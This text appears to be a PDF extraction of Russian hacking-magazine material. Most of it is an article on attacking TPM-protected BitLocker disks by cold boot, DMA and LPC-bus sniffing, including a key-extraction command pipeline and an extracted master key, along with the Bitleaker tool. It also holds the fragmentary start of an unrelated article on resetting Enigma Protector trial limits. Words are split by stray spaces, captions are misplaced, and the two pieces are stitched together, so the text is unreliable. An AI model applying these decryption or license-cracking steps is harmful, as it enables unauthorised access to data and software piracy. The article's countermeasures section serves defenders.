«Цепоч ка  доверия»  сох раня ется  в  регис трах  PCR  (Platform  Configuration
Register).

Для начала рас смот рим работу механиз ма «доверен ной заг рузки» и роль
модуля  TPM  без  шиф рования.  Во  вре мя  заг рузки  выпол няют ся  сле дующие
опе рации.
1. При  вклю чении  компь юте ра  управле ние  получа ет  пер вый  доверен ный
модуль  SRTM  (Static  root  of  trust  for  measures),  который  находит ся
в области ROM, защищен ной от записи. Важ ный момент: SRTM по опре‐ 
деле нию  ста тичен  и  защищен  от  изме нений.  Уяз вимость  в  этом  модуле
может пос тавить под угро зу всю сис тему безопас ности, как это про изош‐ 
ло в слу чае с най ден ной в заг рузчи ках Apple уяз вимостью checkm8. Под‐ 
робно  об  SRTM  и  дру гой  тех нологии  —  DRTM  мож но  узнать  из  отве та
на Stack Exchange «

».
How does  the TPM perform  integrity measurements on a

system?
2. SRTM дела ет пер вую запись в цепоч ке: в регистр PCR0 записы вает ся кон‐ 
троль ная сум ма прог рам мно го кода BIOS. Если в сис теме про писал ся рут‐ 
кит, цепоч ка доверен ной заг рузки будет прер вана (см. «

»).
Как сис тема Win‐

dows Defender System Guard защища ет Windows 10 от рут китов
3. Те перь  управле ние получа ет доверен ный UEFI BIOS,  который фор миру ет
даль нейшие  ком понен ты  цепоч ки.  При  этом  ана лизи рует ся  мно жес тво
парамет ров:  таб лицы  MBR,  заг рузчи ка  bootloader  и  дру гих.  В  цепоч ку
добав ляет ся оче ред ная  кон троль ная  сум ма,  в  соз дании  которой исполь‐ 
зует ся  информа ция  из  пре дыду щего  регис тра  PCR.  Наруше ние  любого
из  ком понен тов  при водит  к  изме нению  содер жимого  регис тров  PCR
и пре рыва нию доверен ной заг рузки.

4. Уп равле ние  переда ется  заг рузчи ку  (bootloader),  который  счи тыва ет
и запус кает код из MBR дис ка. При этом в цепоч ку заг рузки добав ляет ся
еще нес коль ко записей.

5. За пус кает ся ядро опе раци онной сис темы, которое добав ляет оче ред ные
эле мен ты в цепоч ку.

6. Заг ружа ется  опе раци онная  сис тема.  В  резуль тате  на  выходе  —  набор
дан ных  в  регис трах  PCR,  однознач но  опи сыва ющий  весь  про цесс  заг‐ 
рузки. От модифи кации содер жимое регис тров PCR защища ется на аппа‐ 
рат ном уров не модулем TPM.

От лично,  сис тема  заг рузилась,  содер жимое  регис тров  PCR  ука зыва ет
на доверен ный ста тус заг рузки. Теперь добавим шиф рование.

СИСТЕМНЫЙ РАЗДЕЛ ЗАШИФРОВАН BITLOCKER
В  пре дыду щем  сце нарии  сис темный  раз дел  не  был  зашиф рован.  Теперь
пред ста вим, что исполь зует ся сис тема с шиф ровани ем.

Ког да поль зователь вклю чает шиф рование заг рузоч ного раз дела (или же
Windows  самос тоятель но  шиф рует  заг рузоч ный  диск  при  помощи  BitLocker
Device  Encryption  в  авто мати чес ком  режиме),  слу чай ным  обра зом  генери‐ 
рует ся  мас тер‐ключ.  Кро ме  того,  соз дает ся  и  ключ  вос ста нов ления  (так же
слу чай ный  набор  дан ных).  Мас тер‐ключ  сох раня ется  в  модуле  TPM,  а  его
копия шиф рует ся клю чом вос ста нов ления и в зашиф рован ном виде записы‐ 
вает ся  в  заголо вок  дис ка.  Ключ  вос ста нов ления  при  этом обя затель но  сох‐ 
раня ется  (если  в  полити ках  безопас ности  кон крет ной  сис темы  не  ука зано
иное).  Если речь идет об авто мати чес ком шиф ровании BitLocker Device En‐
cryption,  то ключ попада ет в Microsoft Account  того поль зовате ля с при виле‐ 
гиями адми нис тра тора, который пер вым зашел в сис тему с учет ной записью
Microsoft  (а не локаль ной  учет ной записью Windows),  либо в Active Directory.
При шиф ровании, которое ини циирует ся самим поль зовате лем, ключ вос ста‐ 
нов ления мож но сох ранить на диск или рас печатать.

Итак, диск зашиф рован, компь ютер перезаг ружен. При этом:
1. Мо дуль TPM обну ляет содер жимое всех регис тров PCR.
2. Вы пол няют ся пун кты 1–5 доверен ной заг рузки сис темы вплоть до заг рузки
ядра.  Заг рузка  ядра  ОС  воз можна  потому,  что  ядро  сис темы  хра нит ся
на отдель ном неболь шом раз деле, который не будет зашиф рован BitLock‐
er,  а  вот  фай лы  под качки,  гибер нации  и  база  дан ных  SAM  —  уже
на основном зашиф рован ном раз деле.

3. Яд ро  сис темы  пыта ется  про дол жить  заг рузку.  Для  это го  необ ходимо
смон тировать зашиф рован ный раз дел, что, в свою оче редь, тре бует клю ча
для его рас шифров ки. Ключ  хра нит ся  в TPM; ядро сис темы зап рашива ет
его из модуля.

4. По лучив  зап рос,  модуль  TPM  ана лизи рует  содер жимое  регис тров  PCR,
что бы  про верить  цепоч ку  заг рузки.  Если  все  в  поряд ке,  то  модуль  TPM
выдаст  сис теме  ключ  шиф рования,  ядро  смон тиру ет  сис темный  раз дел
и заг рузка про дол жится. Обра ти вни мание: к момен ту, ког да поль зователь
видит зап рос на ввод пароля от учет ной записи Windows, зашиф рован ный
BitLocker раз дел уже смон тирован.

5. Ес ли чип обна ружи вает, что цепоч ка доверия пов режде на, ключ не выда‐ 
ется. Поль зователь при этом видит сле дующее сооб щение.

Мо дуль  TPM  может  отка зать ся  выдавать  ключ  при  изме нении  любого  ком‐ 
понен та  сис темы,  учас тву юще го  в  соз дании  цепоч ки  доверен ной  заг рузки.
Нап ример, обновле ние UEFI BIOS, изме нение в MBR или заг рузчи ке сис темы
при ведет  к  такому  резуль тату  —  о  чем  регуляр но  появ ляют ся  сооб щения
на форумах. Осо бен но неп рият ным наруше ние доверен ной цепоч ки ока зыва‐ 
ется  для  тех  поль зовате лей,  которые  и  не  подоз ревали,  что  их  заг рузоч ный
диск зашиф рован.

В  то  же  вре мя  тре бова ние  ввес ти  ключ  вос ста нов ления  встре чает ся
далеко не так час то, нас коль ко мог ло бы с уче том час тоты обновле ний Win‐
dows.  Почему?  Дело  в  том,  что  при  обновле нии  ком понен тов,  учас тву ющих
в соз дании цепоч ки доверия, сис тема вре мен но отклю чает BitLocker на сис‐ 
темном раз деле. При этом мас тер‐ключ рас шифро выва ется и записы вает ся
в  заголо вок  дис ка  в  откры том  виде,  что  поз воля ет  ядру  сис темы  смон‐ 
тировать  зашиф рован ный  раз дел,  не  отправ ляя  зап рос  в  TPM.  Пос ле  того
как соот ветс тву ющие  ком понен ты будут обновле ны, Windows вновь  запишет
ключ в модуль TPM, сох ранив акту аль ное сос тояние доверен ной заг рузки.

Ана логич ным обра зом дол жно выпол нять ся и обновле ние сто рон них ком‐ 
понен тов  —  нап ример,  вер сии  UEFI  BIOS  и  про шивок  для  некото рых  ком‐ 
понен тов  аппа рат ного  обес печения  (таких  как  встро енные  дат чики  отпе чат‐ 
ков паль цев). При обновле нии этих ком понен тов поль зователь, как пра вило,
получа ет  сооб щение,  что  необ ходимо  при оста новить  работу  BitLocker.
Это  мож но  про делать  как  в  инте рак тивном  режиме  из  панели  управле ния
(System  and Security →  BitLocker Drive  Encryption →  Suspend  protection),  так
и из коман дной стро ки (manage‐bde ‐pause) или PowerShell (Suspend‐BitLock‐
er). Как пра вило, соот ветс тву ющая ути лита уста нов ки дела ет это в авто мати‐ 
чес ком режиме.

ПЫТАЕМСЯ ВЗЛОМАТЬ TPM
Пред положим,  что  в  тво их  руках  компь ютер  (чаще  все го  —  ноут бук),  сис‐ 
темный раз дел  которо го  зашиф рован,  а  пароль для  вхо да  в  учет ную запись
неиз вестен или, в тер минах поль зовате лей, которые чаще все го обра щают ся
с такой проб лемой, — «не под ходит». Цель — получить дос туп к дан ным, сре‐ 
ди которых, конеч но же, мно го цен ных уни каль ных фай лов, и, разуме ется, нет
ни еди ной резер вной копии (ина че они не были бы уни каль ными, ведь так?).

Нес мотря  на  то  что  сис темный  раз дел  зашиф рован,  пер вый  шаг  —
это  снять  образ  дис ка.  Для  это го,  ско рее  все го,  при дет ся  заг рузить ся
с флеш ки — вари антов здесь мно жес тво от раз личных вер сий Linux до ути лит
«все в одном» наподо бие  .Elcomsoft System Recovery

Да лее про ана лизи руй заголо вок тома BitLocker и попытай ся узнать, какие
имен но про тек торы могут быть исполь зованы, что бы смон тировать диск. Про‐ 
ще  все го  это  сде лать  в  Elcomsoft  System Recovery,  которая  выведет  спи сок
дос тупных для кон крет ного тома про тек торов.

Ча ще  все го  в  чис ло  про тек торов  вхо дят  TPM  или  пароль.  Гораз до  реже
встре чают ся  ком бинации  TPM  +  PIN  или  TPM  +  USB.  Прак тичес ки  всег да
в спис ке про тек торов при сутс тву ет ключ вос ста нов ления (Recovery Key). Вот
пол ный спи сок воз можных ком бинаций про тек торов:

 При сутс тву ет прак тичес ки всег‐ 
да.  Поз воля ет  раз бло киро вать  том  вво дом  длин ного  клю ча  вос ста нов‐ 
ления (генери рует ся в момент соз дания тома);

• Recovery Key, ключ вос ста нов ления.

 «Вы находи тесь здесь». Ключ, который хра нит ся в модуле TPM;• TPM.

 Чаще все го исполь зует ся для шиф рования внеш них накопи телей
и несис темных раз делов. На заг рузоч ных дис ках встре чает ся край не ред‐ 
ко;

• Па роль.

  Сво еоб разный  «кол хоз»,  поз воля ющий  вклю чить  защиту  BitLocker
на заг рузоч ном дис ке, если в компь юте ре нет ни модуля TPM, ни под дер‐ 
жки  Intel  PTT.  Для  акти вации  нуж но  редак тировать  полити ки  Windows,
поэто му отно сит ся к раз ряду экзо тичес ких;

• USB.

 Дан ные ком бинации пот‐ 
ребу ют  наличия  всех  перечис ленных  про тек торов.  Встре чают ся  край не
ред ко. Ком бинация TPM + PIN рекомен дует ся в докумен тации от Microsoft
в качес тве защиты от некото рых типов атак.

• TPM + PIN, TPM + USB, TPM + PIN + USB.

ПЫТАЕМСЯ ПОЛУЧИТЬ КЛЮЧ ШИФРОВАНИЯ ИЗ ОПЕРАТИВНОЙ
ПАМЯТИ
Са мый прос той спо соб получить дос туп к зашиф рован ному раз делу, работа‐ 
ющий  незави симо  от  уста нов ленных  про тек торов,  —  извлечь  ключ  шиф‐ 
рования  непос редс твен но  из  опе ратив ной  памяти  компь юте ра.  Это  самый
извес тный  тип  ата ки,  от  которо го  очень  тяжело  защитить ся.  Впро чем,  даже
ком пания Microsoft  приз нает,  что  пол ностью  защитить  содер жимое  зашиф‐ 
рован ного  дис ка  от  зло умыш ленни ка,  который  может  покопать ся  во  внут‐ 
реннос тях компь юте ра, тяжело или даже невоз можно.

В  опе ратив ную  память  компь юте ра  ключ  шиф рования  попада ет  на  пос‐ 
леднем  эта пе  доверен ной  заг рузки —  тог да,  ког да  ядро  сис темы  начина ет
заг ружать ОС. Отсле дить  этот момент  прос то:  появит ся  окно  логина  в  сис‐ 
тему, где зап рашива ется пароль.

INFO

Microsoft  активно  прод вига ет  авто риза цию
без  пароля  —  прос тым  PIN‐кодом,  сос тоящим,
как пра вило, из четырех цифр. Все го четыре циф‐ 
ры?  Воз можно,  у  тебя  воз никнет  соб лазн
попытать ся подоб рать PIN‐код. В статье «

»  под робно  объ ясня ется,
почему не сле дует это го делать.

По чему
ПИН‐код  луч ше  пароля

Ис клю читель ная  ситу ация  —  исполь зование  допол нитель ного  про тек тора
(нап ример,  ком бинации  TPM  +  PIN).  В  этом  слу чае  модуль  TPM  не  выдаст
ключ до тех пор, пока не будет вве ден пра виль ный PIN. Пытать ся подоб рать
его — пло хая идея (см. врез ку).

Ра зуме ется,  если  пароль  (или  PIN)  от  учет ной  записи  известен,  то  рас‐ 
шифров ка  тома  три виаль на:  дос таточ но  соз дать образ опе ратив ной памяти
и  запус тить  поиск  клю чей шиф рования  (такая  воз можность  есть,  нап ример,
в  пор татив ной  вер сии Elcomsoft  Forensic Disk Decryptor). Нас же инте ресу ет
вари ант, ког да пароль от учет ной записи неиз вестен.

Продолжение статьи →
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СТРАШНЫЙ СОН TPM
ВЗЛАМЫВАЕМ ЗАЩИТУ МОДУЛЕЙ TPM

И ШИФРОВАНИЕ BITLOCKER

ВЗЛОМ  НАЧАЛО СТАТЬИ←

АТАКА МЕТОДОМ ХОЛОДНОЙ ЗАГРУЗКИ
Ме тод  осно ван  на  том,  что  содер жимое  опе ратив ной  памяти  компь юте ра
обну ляет ся  не  мгно вен но,  а  лишь  спус тя  вре мя  пос ле  отклю чения  питания.
Если же модули опе ратив ной памяти охла дить до отри цатель ной тем перату‐ 
ры,  то  вре мя  удер жания  ста новит ся  впол не  дос таточ ным  для  того,  что бы
успеть перес тавить модули в тес товый стенд, пос ле чего сра зу же начать заг‐ 
рузку в Linux с рас ширени ем ядра  .LiME

Пос ледова тель ность дей ствий здесь такая:
1. По луча ем  дос туп  к  модулям  опе ратив ной  памяти.  Если  они  рас паяны,
метод не сра бота ет.

2. Вклю чаем иссле дуемый компь ютер, дожида емся окна зап роса пароля.
3. За мора жива ем модули опе ратив ной памяти.
4. От клю чаем питание (ни в коем слу чае не поль зуем ся фун кци ей shutdown!).
5. Быс тро перено сим модули в тес товый стенд.
6. Сра зу же заг ружа емся с флеш ки, извле каем дамп памяти.
7. Пы таем ся обна ружить клю чи шиф рования.

Ме тод слож ный и рис кован ный; исполь зуют его ред ко даже в обо рудо ван ных
лабора тори ях.

Дос тоинс тва метода: высокая эффектив ность, слож но защитить ся.•
Не дос татки:  чрез вычай но  слож ный  и  тру доем кий,  высок  риск  пов редить
обо рудо вание.

•

МЕТОД ДОСТУПА ЧЕРЕЗ DMA
Ес ли компь ютер обо рудо ван интерфей сом FireWire, Thunderbolt 3 или PC Card
и  при  этом  работа ет  под  управле нием  ста рой  вер сии  Windows,  то  мож но
попытать ся  получить  дос туп  к  содер жимому  опе ратив ной  памяти  через  них.
Ата ка  осно вана  на  том фак те,  что  перечис ленные  выше  интерфей сы  име ют
пря мой  дос туп  к  шине  PCI,  которая,  в  свою  оче редь,  име ет  пря мой  дос туп
к памяти компь юте ра (Direct Memory Access, DMA).

Собс твен но образ памяти соз дает ся ути литой   для Linux.Inception
К  сожале нию,  метод  силь но  уста рел:  он  работал  для  компь юте ров

под управле нием Windows 7 и 8. Уже в Windows 8.1 пря мой дос туп к памяти
был зак рыт, если сис тема находит ся в режиме сна или экран устрой ства заб‐ 
локиро ван  (показы вает ся  окно  зап роса  пароля  на  вход  в  сис тему).  Если же
тебе повез ло и дамп памяти соз дать получи лось, иссле довать его мож но в El‐
comsoft Forensic Disk Decryptor в пол ностью авто мати чес ком режиме.

Дос тоинс тва метода: прос то исполь зовать.•
Не дос татки:  экс пло ит  дав но  зак рыт,  работа ет  толь ко  для  ста рых  сис тем,
тре бует наличия пор тов FireWire, Thunderbolt 3 или PC Card.

•

СНИФФЕР ДЛЯ TPM
Еще  одна  уяз вимость  TPM  кро ется  в  самой  архи тек туре модулей.  Пожалуй,
имен но этот метод пред став ляет наиболь ший инте рес по совокуп ности фак‐ 
торов.  С  одной  сто роны,  он  не  тре бует  охлаждать  модули  опе ратив ной
памяти  и  работа ет  на  всех  сов ремен ных  сис темах,  в  которых  исполь зует ся
TPM;  с  дру гой —  для  его  исполь зования  нуж но  спе циаль ное  обо рудо вание
и  опыт  работы  паяль ником,  а  для  сис тем,  в  которых  вмес то  модуля  TPM
исполь зует ся эму лятор Intel PTT, он не сра бота ет вов се.

Об щение  аппа рат ного  модуля  TPM  с  осталь ными  ком понен тами  компь‐ 
юте ра орга низо вано через шину дан ных LPC (Low Pin Count) или интерфейс
SPI (Serial Peripheral Interface).

Оба вари анта исполь зуют ся для переда чи дан ных от устрой ств, работа ющих
с низ кой ско ростью. Шина LPI работа ет на час тоте 33 МГц, а дан ные переда‐ 
ются в откры том виде без какого‐либо шиф рования. Соот ветс твен но, сущес‐ 
тву ет воз можность перех ватить переда ваемый мас тер‐ключ ата кой man in the
middle. Для это го дос таточ но под клю чить ся к шине LPC (или интерфей су SPI)
и исполь зовать логичес кий ана лиза тор.

Де нис  Андза кович  (Denis  Andzakovic)  про демонс три ровал,  как  работа ет
этот спо соб, в статье  .Extracting BitLocker Keys from a TPM

Спо собы нес коль ко отли чают ся для TPM 1.2 и TPM 2.0. В пер вом слу чае
Денис исполь зовал логичес кий ана лиза тор DSLogic Plus с интерфей сом USB.
Нес мотря  на  то  что  ата ка  ока залась  успешной,  авто ру  приш лось  пре одо‐ 
левать  слиш ком  мно го  пре пятс твий,  решая  проб лемы  с  син хро низа цией
и декоде ром.

Се год ня встре тить TPM вер сии 1.2 уже тяжело; в боль шинс тве устрой ств,
в которых дос тупен этот модуль, исполь зует ся вер сия 2.0. Для нее решение
ока залось еще про ще: Денис исполь зовал FPGA‐модуль с интерфей сом USB
Lattice  iCEstick,  в  который  была  залита  спе циали зиро ван ная 

.
про шив ка

для сниф финга TPM‐модулей
Под клю чение  дела ется  к  нож кам  GND,  LCLK,  LFRAME#,  LRESET#

и  LAD[0:3]. Для  устрой ства Surface  3,  которое  ана лизи ровал Денис  (кста ти,
опе ратив ная память в нем рас паяна имен но с целью про тиво дей ствия ата кам
методом холод ной заг рузки), приш лось вос поль зовать ся паяль ником, но для
дес ктоп ных вер сий чипа дос таточ но будет прос то под клю чить ся к разъ ему.

В ито ге сис тема выг лядела таким обра зом.

Да лее Денис выпол няет коман ду

log1 $ sudo python3 parse/read_serial.py /dev/ttyUSB1  | tee 

и заг ружа ет устрой ство. Вот так это выг лядит на экра не.

Дан ные из FPGA струк туриро ваны сле дующим обра зом:

b'[32 bit address][8 bit data][read (00) or write (02)]'

Для извле чения мас тер‐клю ча тома исполь зовалась сле дующая коман да:

   2  s/. 8 .. .. / /$ cut ‐f ‐d' log1 | grep '24..00$' > | perl ‐pe ' { }( ) \n $1
' | grep ‐Po "2c0000000100000003200000(..){32}"
2c00000001000000032000009a126146b5b285c93f7c4bcd372f91d0181fe7edd‐
c44e588459ebdb244d97baa

Мас тер‐ключ успешно извле чен:

9a126146b5b285c93f7c4bcd372f91d0181fe7eddc44e588459ebdb244d97baa 

Да лее  Денис  мон тиру ет  том  при  помощи  ути литы  dislocker,  которая  пред‐ 
назна чена для работы с зашиф рован ными BitLocker томами в Linux.

Ин терес но  то,  что  модули  TPM  2.0  под держи вают  шиф рован ный  обмен
тра фиком,  —  в  теории  это  спо соб но  пре дот вра тить  подоб ные  ата ки.  Тем
не менее Windows не исполь зует этот режим, и уяз вимость,  таким обра зом,
до сих пор не зак рыта.

Дос тоинс тва метода: сра баты вает всег да, если исполь зует ся аппа рат ный
модуль TPM и нет пред варитель ного про тек тора (нап ример, TPM + PIN).

•

Не дос татки:  доволь но  высокая  тру доем кость,  тре бует ся  допол нитель ное
обо рудо вание,  лег ко  пре дот вра тить,  уста новив  допол нитель ный  PIN
на заг рузку.

•

СТРАШНЫЙ СОН TPM
Сле дующая уяз вимость была обна руже на отно ситель но недав но. В 2018 году
корей ские иссле дова тели Сын Хун Хан (Seunghun Han), Вук Шин (Wook Shin),
Чун Хёк Парк (Jun‐Hyeok Park) и Хён Чун Ким (HyoungChun Kim) из National Se‐
curity Research  Institute  пред ста вили  на  кон ферен ции Usenix  науч ную работу
под наз вани ем « ».Страш ный сон

Ис сле дова тели  уста нови ли,  что  при  ухо де  компь юте ра  в  спя щий  режим
модуль TPM сох раня ет регис тры в NVRAM, а при выходе их вос ста нав лива ет.
Ока залось,  что  в  некото рых  моделях  модулей  TPM  есть  воз можность  под‐ 
менить содер жимое PCR регис тров и получить дос туп к внут ренне му жур налу
TPM, что поз воля ет узнать всю «цепоч ку доверия» в момент штат ной заг рузки
сис темы.  Иссле дова тели  уве доми ли  об  уяз вимос ти  про изво дите лей
материн ских  плат,  вклю чая  Intel,  Lenovo, Gigabyte, Dell  и HP,  которые  выпус‐ 
тили обновле ния BIOS, зак рывшие уяз вимость. Тем не менее мно гие компь‐ 
юте ры до сих пор работа ют со ста рыми вер сиями BIOS, что поз воля ет вос‐ 
поль зовать ся уяз вимостью.

Ис сле дова тели выпус тили две ути литы, пер вая из которых поз воля ет про‐ 
верить,  есть  ли  в  модуле  TPM  уяз вимость,  а  вто рая  —  исполь зовать  уяз‐ 
вимость, если она обна ружит ся.

Про вер ка наличия уяз вимос ти:  .• Napper for TPM
Экс плу ата ция уяз вимос ти:  .• Bitleaker

Для про вер ки наличия уяз вимос ти нуж но ска чать образ Live CD со стра ницы
https://github.com/kkamagui/napper‐for‐tpm/releases,  записать  его  на  USB‐
накопи тель, перезаг рузить компь ютер, отклю чив пред варитель но Secure Boot
в BIOS, и выб рать Napper из меню.

Пос ле  заг рузки  нуж но  запус тить  Napper,  клик нув  соот ветс тву ющую  икон ку.
Под робные инс трук ции при водят ся на  .этой стра нице

Ес ли уяз вимость обна руже на, выводит ся соот ветс тву ющее сооб щение.

К  сожале нию,  на  моем  компь юте ре  довес ти  экспе римент  до  кон ца  не  уда‐ 
лось:  вмес то  модуля  TPM  у  меня  исполь зует ся  эму лятор  Intel  PTT,  который
неуяз вим  для  это го  типа  ата ки.  Если  же  уяз вимость  обна руже на,  то  сле‐ 
дующий шаг — запуск ути литы Bitleaker.

ПРОТИВОДЕЙСТВИЕ АТАКАМ
В статье « » под робно опи саны спо собы, которы ми
Microsoft  про тиво дей ству ет  рас смот ренным  ата кам.  (Пос коль ку  Microsoft
исполь зует  авто мати чес кий  перевод  на  рус ский  весь ма  низ кого  качес тва,
рекомен дую озна комить ся со стать ей  .)

Ме ры защиты для BitLocker

на язы ке ори гина ла
От пря мого дос тупа к памяти через FireWire/Thunderbolt спа сает механизм

защиты пор тов DMA, появив ший ся в Windows 10 вер сии 1803 (апрель 2018‐
го). Начиная с этой вер сии Windows в новых устрой ствах на базе про цес сора
Intel по умол чанию акти виро вана защита ядра от атак DMA через пор ты Thun‐
derbolt 3. Впро чем, отме чу, что защита дос тупна лишь для отно ситель но све‐ 
жих  компь юте ров,  так  как  ее  акти вация  пот ребова ла  изме нить  встро енный
мик рокод  и/или  BIOS.  К  при меру,  на  моем  не  самом  ста ром  компь юте ре,
соб ранном на базе Intel Core i7 9‐го поколе ния мень ше года назад, вклю чить
эту защиту не уда лось.

Про верить,  защищен  ли  твой  компь ютер,  мож но  встро енной  в  Windows
ути литой  .MSINFO32.EXE

От атак методом получе ния мас тер‐клю ча из памяти компь юте ра Microsoft
рекомен дует  защищать ся  уста нов кой  допол нитель ного  пред варитель ного
про тек тора — PIN‐кода, который чип TPM будет тре бовать для про дол жения
заг рузки. Этим же спо собом ком пания рекомен дует защищать ся и от сниф‐ 
финга модулей TPM: от того, что тебе удас тся под смот реть дан ные, не изме‐ 
нит ся  ров ным  сче том  ничего,  если  тебе  неиз вестен  PIN‐код.  Попыт ка  же
подоб рать PIN‐код быс тро вве дет модуль TPM в режим паники, в котором он
либо  отка жет ся  сот рудни чать  вов се,  либо  сде лает  вид,  что  все  в  поряд ке,
но ключ шиф рования не выдаст, даже если вве ден ный PIN‐код 

. А вот от ата ки методом «холод ной заг рузки», если в руки зло умыш‐ 
ленни ка попал вклю чен ный компь ютер с уже раз бло киро ван ным дис ком с Bit‐
Locker,  внят ной  защиты  не  пред ложено:  раз работ чики  мелан холич но  отме‐ 
чают,  что  «спо соб  не  защища ет  от  физичес ких  атак,  ког да  зло умыш ленник
получа ет  физичес кий  дос туп  к  ком понен там  компь юте ра,  вскрыв  кор пус
устрой ства».

ока жет ся пра‐ 
виль ным

От  ата ки  под  наз вани ем  «страш ный  сон»  ее  раз работ чики  совету ют
защищать ся  одним  из  трех  спо собов:  уста новить  PIN‐код  на  заг рузку  (сов‐ 
пада ет с рекомен даци ей Microsoft), обно вить BIOS или отклю чить режим сна
в нас трой ках BIOS.

ЗАКЛЮЧЕНИЕ
Как модуль TPM,  так и  тех нология  Intel PTT пре дос тавля ют высокий  уро вень
защиты,  спо соб ный  сущес твен но  осложнить  жизнь  зло умыш ленни ку  и  зат‐ 
руднить работу полицей ско го экспер та. Даже в кон фигура ции по умол чанию
BitLocker  в  сочета нии  с  TPM/PTT  обес печива ет  высокий  уро вень  безопас‐ 
ности, а допол нитель ные нас трой ки, опи сан ные в раз деле «Про тиво дей ствие
ата кам», поз волят надеж но заб локиро вать дос туп к зашиф рован ному раз делу
даже от самых ква лифи циро ван ных спе циалис тов.

В то же вре мя, как это ни парадок саль но, аппа рат ный модуль может ока‐ 
зать ся  менее  безопас ным,  чем  прог рам мная  эму ляция:  в  модулях  TPM
сущес тву ют  уяз вимос ти  как минимум двух  типов,  а  реали зация  на базе  Intel
PTT их лишена. Если на тво ей материн ской пла те есть разъ ем для уста нов ки
модуля TPM — подумай, сто ит ли это делать и не луч ше ли вос поль зовать ся
фун кци ональ ностью Intel PTT, если она дос тупна в BIOS.

https://github.com/504ensicsLabs/LiME
https://github.com/carmaa/inception
https://pulsesecurity.co.nz/articles/TPM-sniffing
https://github.com/denandz/lpc_sniffer_tpm
https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-han.pdf
https://github.com/kkamagui/napper-for-tpm
https://github.com/kkamagui/bitleaker
https://github.com/kkamagui/napper-for-tpm
https://www.youtube.com/watch?v=H6uAkLC_8kQ
https://docs.microsoft.com/ru-ru/windows/security/information-protection/bitlocker/bitlocker-countermeasures
https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-countermeasures
https://docs.microsoft.com/en-us/windows/security/information-protection/tpm/tpm-fundamentals#anti-hammering
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ЗАЩИЩЕННЫЙ ENIGMA PROTECTOR
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ВЗЛОМ

По пуляр ный  сре ди  раз работ чиков  соф та
про тек тор  Enigma  пред лага ет  нес коль ко
вари антов  защиты  при ложе ний.  Один
из  них  —  уста новить  проб ный  режим
с  огра ниче нием  на  количес тво  запус ков,
дней  исполь зования  или  рабоче го  вре‐ 
мени.  Кажет ся,  пре одо леть  такую  защиту
неп росто.  Одна ко  для  нас тояще го  иссле‐ 
дова теля нет прег рад!

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

Пос тоян ным читате лям «Хакера», зна комым с моей пре дыду щей стать ей, мог‐ 
ло  показать ся,  что  взлом  защиты  Enigma  пред став ляет  собой  какое‐то
архислож ное  дей ствие,  дос тупное  лишь  избран ным  спе циалис там,  обла‐ 
дающи ми  навыка ми  работы  с  отладчи ками  и  воору жен ными  спе циаль ными
инс тру мен тами. Пра виль но показа лось, имен но такого эффекта я и собирал‐ 
ся  добить ся.  Одна ко  я  недаром  делал  ого вор ку  о  наличии  сла бых  мест,
которы ми  поль зуют ся  мно гочис ленные  сетевые  авто ры  обу чающих  видео
и «однокли ковых ути лит». Сегод ня мы рас смот рим одно из таких сла бых мест
защиты Enigma — три аль ный режим.

INFO

За щищен ные  с  помощью  Enigma  при ложе ния
мож но  дизас сем бли ровать  —  об  этом  под робно
рас ска зыва лось  в  статье  «

».

Боль ше  не  эниг ма.
Лома ем защиту при ложе ний Enigma x64 акту аль‐ 
ных вер сий

Очень час то перед покуп кой раз работ чики дают поль зовате лю воз можность
поиг рать с прог раммой огра ничен ное вре мя или опре делен ное чис ло запус‐ 
ков, что бы он оце нил все воз можнос ти соф тины. И конеч но же, защита Enig‐
ma име ет  в  сво ем джентль мен ском наборе  такую фичу. Ленивые раз работ‐ 
чики могут соз давать три аль ные вер сии сво их прог рамм фак тичес ки нажати‐ 
ем  одной  кноп ки.  Одна ко  такое  доверие  Enigma  Protector  может  ока зать ся
неоп равдан ным, и сей час я рас ска жу почему.

Для  понима ния  про цес са  ска чаем    пос леднюю
демовер сию защиты, бла го они ее сво бод но раз дают. Запус тив прог рамму,
мы уви дим в меню Settings вклад ку Trial Control. Здесь находят ся нуж ные нам
раз делы: Limitation by Executions Count (огра ниче ние на количес тво запус ков),
Limitation by Days Count (огра ниче ние на количес тво дней), Limitation of Execu‐
tion Time (огра ниче ние на количес тво прог рам мно го вре мени) и Time Control
(про вер ка мух лежа с перево дом вре мени).

с  офи циаль ного  сай та

Вклад ка Trial Control ути литы Enigma Protector

Осо бен ности этих режимов зак люча ются в том, что при пер вом запус ке прог‐ 
рамма  «при вязы вает ся»  к  текуще му  момен ту  и  ведет  отсчет  сво ей  работы
имен но от него. Тех нология сбро са подоб ного три ала зак люча ется в том, что‐ 
бы вер нуть сис тему в сос тояние, пред шес тву ющее запус ку, пос ле чего прог‐ 
рамма будет стар товать как буд то в пер вый раз пос ле уста нов ки. Нап ример,
с режимом Limitation  from Date  till Date  (огра ниче ние на запуск в кон крет ный
вре мен ной  отре зок)  такой  номер  не  прой дет,  пос коль ку  при ложе ние  уже
не  при вяза но  к  момен ту  пер вого  запус ка.  Защита  про веря ет  лишь  текущее
сис темное  вре мя,  незави симо  от  того,  запус калась  прог рамма  до  это го
на дан ном компь юте ре или нет. Хотя, конеч но, мож но обма нуть и этот метод
защиты,  сбро сив  три ал  (что бы  исклю чить  запоми нание  текуще го  вре мени
с целью обма нуть Time Control, если этот режим так же вклю чен) и переве дя
часы на нуж ный вре мен ной интервал.

Од нако  хва тит  лиричес ких  отступ лений,  пора  брать ся  за  дело!  Давай
защитим  любое  при ложе ние,  огра ничив  количес тво  его  запус ков,  а  потом
сбро сим  эту  защиту.  По  счастью,  раз работ чики  Enigma  и  здесь  пош ли  нам
навс тре чу, бес плат но пре дос тавив такую воз можность в демовер сии сво его
про тек тора. Для это го откры ваем вклад ку Limitation by Executions Count, уста‐ 
нав лива ем вер хний чек бокс и в окош ке Maximal count of executions ука зыва ем
нуж ное количес тво запус ков (ска жем, три).

Нас тра иваем огра ниче ние на количес тво запус ков

Те перь соберем защищен ную вер сию прог раммы, которая при каж дом стар‐ 
те  будет  показы вать  пятисе кун дное  окош ко  рек ламы  Enigma  (что  поделать,
за  халяву  при ходит ся  пла тить)  и  счи тать  запус ки.  Через  три  запус ка  вмес то
прог раммы ты  уви дишь сооб щение о пре выше нии лимита, озна чающее,  что
халява закон чилась.

Для начала поп робу ем пой ти самым тер нистым путем — попыта емся снять
